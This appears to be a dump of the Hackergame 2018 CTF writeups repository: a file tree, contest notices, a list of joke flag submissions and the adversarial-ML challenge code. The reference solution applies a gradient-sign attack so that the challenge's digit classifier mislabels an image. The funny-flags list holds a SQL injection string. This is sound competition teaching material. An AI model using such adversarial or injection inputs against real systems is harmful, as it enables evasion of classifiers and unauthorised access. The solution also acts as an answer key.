├── .gitignore ├── LICENSE.md ├── README.md ├── archive ├── README.md ├── announcements.md └── core.json ├── misc ├── funny_flags.md ├── images │ ├── 1.png │ └── 2.png └── others.md ├── official ├── RSA_of_Z │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── rsaz.tar.gz ├── adversarial │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── adv1.png │ │ ├── adv2.png │ │ └── human.png │ └── src │ │ ├── .gitignore │ │ ├── .gitkeep │ │ ├── Dockerfile │ │ ├── adversarial.zip │ │ ├── docker-compose.yml │ │ ├── solution │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── main.py │ │ ├── model.pth │ │ ├── pick.py │ │ ├── requirements.txt │ │ ├── solution.png │ │ ├── solution.py │ │ └── target.png │ │ └── webapp │ │ ├── README.md │ │ ├── main.py │ │ ├── model.pth │ │ ├── requirements.txt │ │ ├── target.png │ │ └── webapp.py ├── audiophile │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── audiophile.zip │ │ ├── dr_wav.h │ │ └── stegan.c ├── back_in_time │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── input_sequence ├── bank │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── image-20181016123310265.png │ │ ├── image-20181016123347955.png │ │ └── image-20181016123406691.png │ └── src │ │ ├── .gitkeep │ │ └── bank │ │ ├── app │ │ └── index.php │ │ ├── docker-compose.yml │ │ ├── images │ │ └── nginx │ │ │ └── config │ │ │ └── default.conf │ │ └── services │ │ └── php │ │ ├── Dockerfile │ │ └── config │ │ └── php.ini ├── calculator │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── calc │ │ ├── calc.c │ │ └── calculator │ │ ├── Dockerfile │ │ ├── bin │ │ ├── - │ │ ├── calc │ │ └── flag │ │ ├── ctf.xinetd │ │ ├── docker-compose.yml │ │ └── start.sh ├── card │ ├── README.md │ ├── assets │ │ └── card.png │ ├── images │ │ ├── .gitkeep │ │ └── badge.png │ └── src │ │ ├── .gitkeep │ │ └── fragments.zip ├── catremote │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ └── image-20181016114941390.png │ └── src │ │ ├── .gitkeep │ │ └── seq.txt ├── confused_flxg │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── 1.png │ │ ├── 2.png │ │ ├── 3.png │ │ ├── 4.png │ │ ├── 5.png │ │ └── 6.png │ └── src │ │ ├── .gitkeep │ │ ├── confused_flxg.exe │ │ ├── fixConfused_flxg.py │ │ ├── flxg.txt │ │ └── testcn.cpp ├── docx │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── OfficeOpenXML.docx ├── encryption_and_decryption │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── enc_and_dec.tar.gz │ │ └── encryption_and_decryption_solution.py ├── gop_snark │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── vkandproofs.zip ├── heicore │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── image-20181016121046272.png │ │ ├── image-20181016121448185.png │ │ ├── image-20181016121600175.png │ │ ├── image-20181016121711381.png │ │ └── image-20181016121811337.png │ └── src │ │ ├── .gitkeep │ │ └── heicore │ │ ├── app │ │ └── index.php │ │ ├── docker-compose.yml │ │ ├── images │ │ └── nginx │ │ │ └── config │ │ │ └── default.conf │ │ └── services │ │ └── php │ │ ├── Dockerfile │ │ └── config │ │ └── php.ini ├── her_gift │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── exp │ │ ├── exp1 │ │ │ ├── exp1.md │ │ │ ├── hook │ │ │ └── hook.c │ │ └── exp2 │ │ │ ├── exp2.md │ │ │ └── gift_patched │ │ ├── gift │ │ └── src │ │ ├── HOWTO.md │ │ ├── Makefile │ │ ├── gift.c │ │ ├── hid_version_info.py │ │ ├── sha1.c │ │ └── sha1.h ├── her_poem │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── ability_to_use_google.png │ │ ├── emotion_feeling_hurt.png │ │ ├── uuencoding_wikipedia.png │ │ └── wrong_script.png │ └── src │ │ ├── .gitkeep │ │ ├── exp.py │ │ ├── generate.py │ │ ├── helper.py │ │ ├── poem.txt │ │ └── poem.zip ├── mining_pool_of_Z │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── mining_pool_of_Z │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── app.py │ │ ├── docker-compose.yml │ │ ├── static │ │ ├── hashes.js │ │ └── jquery-3.3.1.min.js │ │ └── templates │ │ └── index.html ├── ohmycat │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── image-20181016012607646.png │ │ ├── image-20181016012829431.png │ │ ├── image-20181016012937555.png │ │ └── image-20181016013016568.png │ └── src │ │ ├── .gitkeep │ │ └── typed_printf.cpp ├── permission │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── b.rs │ │ └── rev ├── python_simulator │ ├── README.md │ ├── assets │ │ └── cat.gif │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── python_simulator │ │ ├── Dockerfile │ │ ├── bin │ │ └── pysim.py │ │ ├── ctf.xinetd │ │ ├── docker-compose.yml │ │ └── start.sh ├── qiandao │ ├── README.md │ ├── images │ │ ├── .gitkeep │ │ ├── image-20181016015633115.png │ │ ├── image-20181016015820553.png │ │ └── image-20181016020015148.png │ └── src │ │ ├── .gitkeep │ │ └── qiandao │ │ ├── app │ │ └── index.php │ │ ├── docker-compose.yml │ │ ├── images │ │ └── nginx │ │ │ └── config │ │ │ └── default.conf │ │ └── services │ │ └── php │ │ ├── Dockerfile │ │ └── config │ │ └── php.ini ├── red_stone │ ├── README.md │ ├── assets │ │ └── boom.png │ ├── images │ │ ├── .gitkeep │ │ └── circuit.png │ └── src │ │ ├── .gitkeep │ │ └── res_stone.zip ├── secret_of_flxg │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── flxg.c │ │ ├── flxg.txt │ │ └── lock.c ├── trial_of_cwk │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── poc.py │ │ ├── trial.c │ │ └── trial.webp ├── true_flxger │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ ├── flxg.hell │ │ └── malbolge.txt ├── ustcquiz │ ├── README.md │ ├── images │ │ └── .gitkeep │ └── src │ │ ├── .gitkeep │ │ └── ustcquiz │ │ ├── app │ │ └── index.php │ │ ├── docker-compose.yml │ │ ├── images │ │ └── nginx │ │ │ └── config │ │ │ └── default.conf │ │ └── services │ │ └── php │ │ ├── Dockerfile │ │ └── config │ │ └── php.ini └── who_am_i │ ├── README.md │ ├── images │ ├── .gitkeep │ └── little_busters_kud_can_i_help_me.png │ └── src │ ├── .gitkeep │ └── who_am_i │ ├── Dockerfile │ ├── app.py │ ├── docker-compose.yml │ └── templates │ └── index.html └── players ├── Ciel └── README.md ├── ProfFan ├── README.md ├── adversarial.py ├── audiophile.ipynb ├── encdec.ipynb └── stegan.png ├── coxxs ├── A29C7ED4-bank0.png ├── A29C7ED4-bank1.png ├── A29C7ED4-bank2.png ├── A29C7ED4-bank4.png ├── A29C7ED4-flxg1.png ├── A29C7ED4-flxg2.png ├── A29C7ED4-flxg3.png ├── A29C7ED4-flxg4.png ├── A29C7ED4-flxg5.png ├── A29C7ED4-heicore7.png ├── A29C7ED4-heicore8.png ├── A29C7ED4-kuang2.png ├── A29C7ED4-kuang3.png ├── A29C7ED4-kuang4.png ├── A29C7ED4-kuang5.png ├── A29C7ED4-kuang6.png ├── README.md ├── heicore1.png ├── heicore2.png ├── heicore3.png ├── heicore4.png ├── heicore5.png ├── heicore6.png ├── kuang1.png └── pdf_format1.png ├── cvhc ├── README.md ├── adversial │ ├── sample.png │ ├── save.png │ └── target.png ├── catremote │ ├── catremote.py │ └── final.png ├── encryption_and_decryption │ ├── out.c │ └── solve.py └── mining_pool_of_Z │ ├── gpu-brute │ ├── gpu-brute │ ├── gpu-brute.cpp │ ├── hash_compare.cl │ └── miner.py │ └── sha256-blockchain │ ├── bitcoin-block-parser-online.py │ ├── bitcoin-block-parser.py │ ├── find-collision.cpp │ └── show-block-db.py ├── dl └── README.md ├── fatykrch ├── Malbolge │ ├── 233.jpg │ ├── README.md │ └── draw_malbolge.py ├── README.md ├── adversarial │ ├── README.md │ ├── adversarial.py │ ├── main.py │ ├── model.pth │ ├── sample.png │ └── target.png ├── bank │ └── README.md ├── confused_flxg │ ├── README.md │ ├── confused_flxg.exe │ └── confused_flxg.py ├── enc_and_dec │ ├── README.md │ ├── br.bf │ ├── dec.py │ └── encrypt.bf ├── gift │ ├── README.md │ ├── gift │ └── strings.txt ├── seq │ ├── README.md │ ├── seq.jpg │ ├── seq.py │ └── seq.txt ├── snake │ ├── README.md │ └── snake.py ├── trail │ ├── README.md │ ├── extract_trial.py │ ├── remote.py │ ├── trial │ ├── trial.webp │ ├── trial2.png │ ├── trial_patched │ └── trialdata ├── typed_printf │ ├── README.md │ ├── typed_printf.cpp │ ├── typed_printf.py │ └── typed_printf_fixed.cpp └── vkandproofs │ ├── README.md │ └── test.cpp ├── fjw └── README.md ├── jauntyliu └── writeup.md ├── lcy └── Confused_flxg_writeup │ ├── 1.PNG │ ├── 2.PNG │ ├── 3.PNG │ ├── 4.PNG │ ├── 5.PNG │ ├── 6.PNG │ ├── README.md │ ├── fixCondused_flxg.py │ └── flxg.txt ├── myon ├── README.md └── passkey.svg ├── nicekingwei └── README.md ├── pdl └── writeup.md ├── soha ├── README.md ├── audiophile.md ├── calculator.md ├── confused_flxg.md ├── encryption_and_decryption.md ├── her_gift.md ├── images │ ├── 124731297.png │ ├── 1281997036.png │ ├── 1429292297.jpg │ ├── 160011773.png │ ├── 1710366700.png │ ├── 1864837544.png │ ├── 1882380561.png │ ├── 1962830901.png │ ├── 1994848494.png │ ├── 2219885828.png │ ├── 2533851744.png │ ├── 2572283108.png │ ├── 2639092579.png │ ├── 2702735753.png │ ├── 2758521703.png │ ├── 3146243909.png │ ├── 3148723092.png │ ├── 3227366260.png │ ├── 3266749685.png │ ├── 3376090344.png │ ├── 3723102722.png │ ├── 3776385642.png │ ├── 3937169843.png │ ├── 4118228921.png │ ├── 4210065068.png │ ├── 4275067853.png │ ├── 4276237654.png │ ├── 441423199.png │ ├── 831079774.png │ ├── 88641739.png │ ├── 909917520.png │ ├── 93953137.png │ ├── 960723743.png │ └── 982647386.png ├── python_simulator.md ├── secret_of_flxg.md └── who_am_i.md └── taoky ├── imgs ├── ability_to_use_google.png ├── emotion_feeling_hurt.png ├── little_busters_kud_can_i_help_me.png ├── uuencoding_wikipedia.png └── wrong_script.png └── writeup.md /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | -------------------------------------------------------------------------------- /archive/README.md: -------------------------------------------------------------------------------- 1 | # 元数据 2 | 3 | 本文件夹包含两部分内容: 4 | 5 | - [core.json](./core.json) 6 | - 由于 2018 年比赛中未标明明确的数据收集政策,`core.json` 中选手的组别均被替换为 `***`。 7 | - [通知](./announcements.md) 8 | -------------------------------------------------------------------------------- /archive/announcements.md: -------------------------------------------------------------------------------- 1 | # 通知 2 | 3 | ## 通知 4 4 | 5 | 经过组委会讨论决定,考虑到学校作息时间,我们将在 10-14(周日)晚 20:00 ~ 10-15(周一)早 7:00 暂时关闭比赛平台,届时选手将无法注册和登录、浏览题目、提交答案等,请各位选手合理安排时间。 6 | 7 | ## 通知 3 8 | 9 | 经过组委会讨论决定,现开放国内(包含港澳台地区)高校邮箱(以 .edu.cn/hk/mo/tw 结尾的所有邮箱,以 .edu.my 结尾的部分邮箱)注册,请国内高校选手通过“注册/登录”菜单中的“其他高校”入口注册。部分学校邮箱邮件送达可能较慢,请耐心等待。若注册过程中遇到问题或高校邮箱为其他后缀,请发邮件至 lug@ustc.edu.cn,我们会手工处理。已注册的选手均不受影响。 10 | 11 | ## 通知 2 12 | 13 | 经过组委会讨论决定,由于比赛人数已超过预期,我们暂时关闭“其他”类用户注册,“注册/登录”菜单中列出的高校的参赛选手仍可继续报名参赛,不受影响。 14 | 15 | ## 通知 1 16 | 17 | 经过组委会讨论决定,几位同学因违反比赛规定被我们取消了比赛资格,他们提交的 flag 已经撤回,所以部分题目通过人数可能有变化。申诉邮件地址:lug@ustc.edu.cn。 18 | -------------------------------------------------------------------------------- /misc/funny_flags.md: -------------------------------------------------------------------------------- 1 | # 搞笑 flag 合集 2 | 3 | 以下为一些错误的 flag 提交: 4 | 5 | `flag{ne_traduka5_fal5a_f1ag0}` 6 | 7 | `flag{hackergame2018}` 8 | 9 | `flag{Thi5_is_A_F4k3_flag}` 10 | 11 | `flag{HoL1P_THerE_1s_N0_F1a9}` 12 | 13 | `flag{1_4m_5e1f_c015in9}` “我自闭了”? 14 | 15 | `拒绝 Python!` 16 | 17 | `flag{RSA_is_simp1e}` 大家猜 flag 能力太强了,以后出题不敢用简单 flag 了 18 | 19 | `FLAG{Math is simple, right? OwO}` 我们以后不妨举办一个 GTF (Guess The Flag) 比赛吧 20 | 21 | `flxg{I_am_A_true_flag_66666}` 22 | 23 | `flxg{I have no idea about what this is.}` 24 | 25 | `flxg{fuck}` 下次比赛应该对提交的 flag 做敏感词检测 26 | 27 | `flxg{有意义的字符串}` 中文 flag 还行 28 | 29 | `flxg{cwkjbsgay}` @cwk 30 | 31 | `flxg{Wrong}` 32 | 33 | `flag{Key: Wrong!}` 34 | 35 | `flxg{Key: Wrong!}` 36 | 37 | `flxg{Wrong!}` 你是认真的吗? 38 | 39 | `flxg{flxg{I_am\á_fake_flag_23333}}` 嵌套 flag? 40 | 41 | `flxg{xxxxx}` 42 | 43 | `flag{enter in exception}` 44 | 45 | `flxg{I_am_A_confused_flag_23333}` 46 | 47 | `flxg{33332_galf_ekaf_A_ma_I}` 反过来? 48 | 49 | `flxg{I_am_A_true_flag}` 好好好,你是真 flag 50 | 51 | `flag{♫\t%s\t♫}` 52 | 53 | `flag{Singing songs is good for mental health.}` 54 | 55 | `flag{[Il0VEY9u]}` 56 | 57 | `flag{[i19ve9ou]}` 58 | 59 | `flag{%s}` 60 | 61 | `flag{bra1nfuck}` 62 | 63 | `flag{Division by zero!}` 64 | 65 | `flag{The real flag is in the file "-"}` 66 | 67 | `flag{buffer_overflow}` 68 | 69 | `flag{http://202.38.95.46:12001}` 我们的题目地址怎么成了 flag 70 | 71 | `flxg{%016lx%016lx}` 嗯,源代码里的确有这个,然后呢 72 | 73 | `flag{复蹇无妄晋遁井坎渐需睽大过}` 74 | 75 | `flxg{ustc}` 76 | 77 | `flxg{cWk}` 78 | 79 | `flag{base64}` 80 | 81 | `flag{I_hate_cats}` 好了我知道了 82 | 83 | `8.466349449149737e+27` 这是什么天文数字? 84 | 85 | `flag{????????????}` ????????? 86 | 87 | `Life_is_short_use_PYTHON` 猜 flag 的高手啊,非常接近正确答案了,服气 88 | 89 | `flag{Timeout!}` 90 | 91 | `flag{i_hack_myself}` 92 | 93 | `flag{Broken pipe}` 这个真的笑死我了,可以参选年度最佳 flag 94 | 95 | `flag{invalid syntax}` 96 | 97 | `flag{Your answer is wrong!}` 98 | 99 | `flag{Life_1s_sh0rt_use_PYTH0NLife_1s_sh0rt_use_PYTH0N……}` 还真展开了 100 次 100 | 101 | `flag{I'll make it}` 102 | 103 | `flag{The person who deserves it the most}` 104 | 105 | `flag{hacklug}` 你想黑什么? 106 | 107 | `flag{:)}` 神秘的微笑? 108 | 109 | `flag{University of Science and Technology of China}` 110 | 111 | `flag{gpa}` 112 | 113 | `flag{4.3}` 114 | 115 | `flxg{eof}` 116 | 117 | `flxg{废理兴工永不放弃}` 118 | 119 | `flxg{大成功}` 120 | 121 | `flxg{whoflxgThose}` 122 | 123 | `flxg{g00dj06}` 124 | 125 | `flxg{Malbolge_i3_eZ}` 我觉得并不 eZ 126 | 127 | `flxg{proof_works}` 128 | 129 | `flag{who I am}` 130 | 131 | `flag{Who am I?}` 132 | 133 | `flag{Can you tell me who I am?}` 134 | 135 | `flag{hacker}` 136 | 137 | `flag{csrfmiddlew}` 138 | 139 | `flag{Werkzeug/0.14.1 Python/3.6.6}` 140 | 141 | `flag{NFS-or-IIS}` 142 | 143 | `flag{again}` 144 | 145 | `flag{小T}` 146 | 147 | `flag{repeater}` 148 | 149 | `flag{复读机}` 150 | 151 | `flag{best language in the world}` 152 | 153 | `flag{main.js}` 154 | 155 | `flag{not_sure}` 156 | 157 | `flag{not_really_sure}` 158 | 159 | `flag{no_answer}` 160 | 161 | `flag{君の名は}` 162 | 163 | `1' or '1'='1` 你想对比赛平台做什么? 164 | 165 | `flag{FLAG.txt}` 166 | 167 | `flag{为了文档安全,请使用最新版本黑曜石浏览器(HEICORE)访问。}` 168 | 169 | `flag{heicoreisthebestcoreintheworld}` 谢谢夸奖 170 | 171 | `flag{Gr33n_h4t_f0r_y0u}` 为什么?为什么? 172 | 173 | `flag{no_google_api_key}` 174 | 175 | `flag{meiyouHEICOREliulanqi}` 176 | 177 | `flag{PAGE NOT FOUND 404}` 178 | 179 | `flag{infiniteloop}` 180 | 181 | `flag{huashui_is_hAppY}` 我也划水 182 | 183 | `flag{success}` 184 | 185 | `flag{MineCraft}` 186 | 187 | `flag{}` 188 | 189 | `flag{20CTB}` 190 | 191 | `flag{w13gcft4nkj87u6,/lp0o9--=l[}` 这是猫咪在键盘上乱按的。。。 192 | 193 | `flag{请问要铲屎吗?猫咪}` 194 | 195 | `flags": [{"pk": 11, "name": "", "score": 50, "user_solved": 1375}` 是挺像 196 | flag 的 197 | -------------------------------------------------------------------------------- /misc/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/misc/images/1.png -------------------------------------------------------------------------------- /misc/images/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/misc/images/2.png -------------------------------------------------------------------------------- /misc/others.md: -------------------------------------------------------------------------------- 1 | # 其他花絮 2 | 3 | “程序员的自我修养”已经成为了图书馆本月热搜词的第一名 4 | ![1](images/1.png) 5 | 6 | ![2](images/2.png) -------------------------------------------------------------------------------- /official/RSA_of_Z/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/RSA_of_Z/images/.gitkeep -------------------------------------------------------------------------------- /official/RSA_of_Z/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/RSA_of_Z/src/.gitkeep -------------------------------------------------------------------------------- /official/RSA_of_Z/src/rsaz.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/RSA_of_Z/src/rsaz.tar.gz -------------------------------------------------------------------------------- /official/adversarial/images/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/images/.gitkeep -------------------------------------------------------------------------------- /official/adversarial/images/adv1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/images/adv1.png -------------------------------------------------------------------------------- /official/adversarial/images/adv2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/images/adv2.png -------------------------------------------------------------------------------- /official/adversarial/images/human.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/images/human.png -------------------------------------------------------------------------------- /official/adversarial/src/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode/ 2 | __pycache__/ 3 | data/ 4 | sample.png 5 | -------------------------------------------------------------------------------- /official/adversarial/src/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/.gitkeep -------------------------------------------------------------------------------- /official/adversarial/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:artful 2 | MAINTAINER SIYUAN-ZHUANG USTC-1411 3 | ENV LC_ALL=C.UTF-8 4 | 5 | RUN apt-get update 6 | RUN apt-get install --yes python3.6 python3.6-dev python3-pip python3-openssl 7 | COPY ./webapp /webapp 8 | WORKDIR /webapp 9 | RUN pip3 install -r requirements.txt 10 | ENTRYPOINT ["python3"] 11 | CMD ["webapp.py"] 12 | -------------------------------------------------------------------------------- /official/adversarial/src/adversarial.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/adversarial.zip -------------------------------------------------------------------------------- /official/adversarial/src/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | web: 4 | build: . 5 | ports: 6 | - "12004:5000" 7 | restart: always 8 | -------------------------------------------------------------------------------- /official/adversarial/src/solution/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:artful 2 | MAINTAINER SIYUAN-ZHUANG USTC-1411 3 | ENV LC_ALL=C.UTF-8 4 | 5 | RUN apt-get update 6 | RUN apt-get install --yes python3.6 python3.6-dev python3-pip python3-openssl 7 | COPY . /solution 8 | WORKDIR /solution 9 | RUN pip3 install -r requirements.txt 10 | ENTRYPOINT ["python3"] 11 | CMD ["solution.py"] 12 | -------------------------------------------------------------------------------- /official/adversarial/src/solution/README.md: -------------------------------------------------------------------------------- 1 | 这个目录内部包括参考答案 `solution.py` 和其它依赖文件。 2 | 目录同时包含了 `Dockerfile`, 用户可以用以下方式检验答案: 3 | 4 | ```bash 5 | docker build -t solution . 6 | ``` 7 | 8 | ```bash 9 | docker run -it solution 10 | ``` -------------------------------------------------------------------------------- /official/adversarial/src/solution/model.pth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/solution/model.pth -------------------------------------------------------------------------------- /official/adversarial/src/solution/pick.py: -------------------------------------------------------------------------------- 1 | # 这个文件和答案无关,只是展示获取 target.png 的方式 2 | from __future__ import print_function 3 | import torch 4 | from torchvision import datasets, transforms 5 | import numpy as np 6 | from PIL import Image 7 | 8 | test_loader = torch.utils.data.DataLoader( 9 | datasets.MNIST('data', train=False, transform=transforms.Compose([ 10 | transforms.Resize((30, 30)), 11 | transforms.ToTensor(), 12 | # transforms.Normalize((0.1307,), (0.3081,)), 13 | ])), batch_size=1, shuffle=False) 14 | 15 | for i, (data, target) in enumerate(test_loader): 16 | if i != 534: 17 | continue 18 | else: 19 | data = (np.array(data).reshape(30, 30) * 255).astype(np.uint8) 20 | img = Image.fromarray(data, mode='L') 21 | img = img.resize((600, 600), resample=Image.BILINEAR) 22 | img.save('target.png') 23 | break 24 | -------------------------------------------------------------------------------- /official/adversarial/src/solution/requirements.txt: -------------------------------------------------------------------------------- 1 | http://download.pytorch.org/whl/cpu/torch-0.4.1-cp36-cp36m-linux_x86_64.whl 2 | torchvision==0.2.1 3 | -------------------------------------------------------------------------------- /official/adversarial/src/solution/solution.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/solution/solution.png -------------------------------------------------------------------------------- /official/adversarial/src/solution/solution.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | mmmummm mmmm mmsmm mmmm mmmmmm mtm mmcmm mmmmmmmmmmmmm 4 | # m" "m # "# #" " # m" " # "# # # 5 | # # # #mmm#" "#mmm #mmmmm # #mmmm" #mmmmm # 6 | # # # # "# # # # "m # # 7 | # #mm# # "mmm#" #mmmmm "mmm" # " #mmmmm # 8 | 9 | """ 10 | 11 | from __future__ import print_function, division 12 | import torch 13 | import numpy as np 14 | from PIL import Image 15 | import torch.nn.functional as F 16 | 17 | from main import Net 18 | 19 | def solve(): 20 | model = load_model() 21 | image = Image.open('target.png') 22 | image = convert2tensor(image) 23 | inputs = preprocess_image(image) 24 | label = torch.tensor([6], dtype=torch.long) 25 | 26 | # A solution for part 1 27 | inputs.requires_grad = True 28 | x = (inputs - 0.1307) / 0.3081 # scale mean & std 29 | output = model(x) 30 | loss = F.nll_loss(output, label) 31 | loss.backward() 32 | x_grad = torch.sign(inputs.grad.data) 33 | epsilon = 0.18 34 | inputs = torch.clamp(inputs + epsilon * x_grad, 0, 1) 35 | 36 | inputs = inputs.reshape(30, 30) 37 | 38 | for i in range(30): 39 | for j in range(30): 40 | image[int((i + 0.5) * 20), int((j + 0.5) * 20)] = inputs[i, j] 41 | 42 | return image 43 | 44 | def convert2tensor(image): 45 | return torch.from_numpy(np.array(image).astype('f') / 255.) 46 | 47 | def convert2image(arr): 48 | return Image.fromarray((arr.detach().numpy() * 255).astype(np.uint8), mode='L') 49 | 50 | def preprocess_image(arr): 51 | image = convert2image(arr) 52 | image = image.resize((30, 30), resample=Image.NEAREST) 53 | return convert2tensor(image).reshape(1, 1, 30 ,30) 54 | 55 | def load_model(): 56 | model = Net() 57 | model.load_state_dict(torch.load('model.pth')) 58 | model.eval() 59 | return model 60 | 61 | def check(): 62 | model = load_model() 63 | 64 | target = convert2tensor(Image.open('target.png')) 65 | sample = convert2tensor(Image.open('sample.png')) 66 | assert torch.sum(target != sample) < 600 * 600 * 0.002, 'Input hacking is detected! Game over.' 67 | assert F.l1_loss(target, sample) < 0.001, 'Input hacking is detected! Game over.' 68 | assert (torch.max(torch.abs(target - sample))) < 0.2, 'Input hacking is detected! Game over.' 69 | target = preprocess_image(target) 70 | sample = preprocess_image(sample) 71 | # A solution for part 2 72 | target = (target - 0.1307) / 0.3081 73 | sample = (sample - 0.1307) / 0.3081 74 | 75 | truth = torch.argmax(model(target)) 76 | hack = torch.argmax(model(sample)) 77 | assert int(truth) != int(hack), 'Fail to hack. Game over.' 78 | print('Cong! You win!!!') 79 | 80 | 81 | if __name__ == '__main__': 82 | output = solve() 83 | convert2image(output).save('sample.png') 84 | # You have to pass this check! 85 | check() 86 | -------------------------------------------------------------------------------- /official/adversarial/src/solution/target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/solution/target.png -------------------------------------------------------------------------------- /official/adversarial/src/webapp/README.md: -------------------------------------------------------------------------------- 1 | 这个目录内部包括网页交互相关的代码。 -------------------------------------------------------------------------------- /official/adversarial/src/webapp/model.pth: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/webapp/model.pth -------------------------------------------------------------------------------- /official/adversarial/src/webapp/requirements.txt: -------------------------------------------------------------------------------- 1 | http://download.pytorch.org/whl/cpu/torch-0.4.1-cp36-cp36m-linux_x86_64.whl 2 | torchvision==0.2.1 3 | flask==1.0.2 4 | -------------------------------------------------------------------------------- /official/adversarial/src/webapp/target.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/official/adversarial/src/webapp/target.png -------------------------------------------------------------------------------- /official/adversarial/src/webapp/webapp.py: -------------------------------------------------------------------------------- 1 | import io 2 | import time 3 | from flask import Flask, request 4 | 5 | import numpy as np 6 | from PIL import Image 7 | import torch 8 | import torch.nn.functional as F 9 | 10 | from main import Net 11 | 12 | app = Flask(__name__) 13 | app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024 # Limit file size. 14 | 15 | def convert2tensor(image): 16 | return torch.from_numpy(np.array(image).astype('f') / 255.) 17 | 18 | def convert2image(arr): 19 | return Image.fromarray((arr.detach().numpy() * 255).astype(np.uint8), mode='L') 20 | 21 | def preprocess_image(arr): 22 | image = convert2image(arr) 23 | image = image.resize((30, 30), resample=Image.NEAREST) 24 | return convert2tensor(image).reshape(1, 1, 30 ,30) 25 | 26 | def load_model(): 27 | model = Net() 28 | model.load_state_dict(torch.load('model.pth')) 29 | model.eval() 30 | return model 31 | 32 | def check(sample_file): 33 | time.sleep(1) # negative optimization 34 | model = load_model() 35 | 36 | target = convert2tensor(Image.open('target.png')) 37 | sample = convert2tensor(Image.open(sample_file)) 38 | assert torch.sum(target != sample) < 600 * 600 * 0.002, 'Input hacking is detected! Game over.' 39 | assert F.l1_loss(target, sample) < 0.001, 'Input hacking is detected! Game over.' 40 | assert (torch.max(torch.abs(target - sample))) < 0.2, 'Input hacking is detected! Game over.' 41 | target = preprocess_image(target) 42 | sample = preprocess_image(sample) 43 | target = (target - 0.1307) / 0.3081 44 | sample = (sample - 0.1307) / 0.3081 45 | truth = torch.argmax(model(target)) 46 | hack = torch.argmax(model(sample)) 47 | assert int(truth) != int(hack), 'Fail to hack. Game over.' 48 | 49 | @app.route('/', methods=['GET', 'POST']) 50 | def upload_file(): 51 | if request.method == 'POST': 52 | try: 53 | file = request.files['file'] 54 | 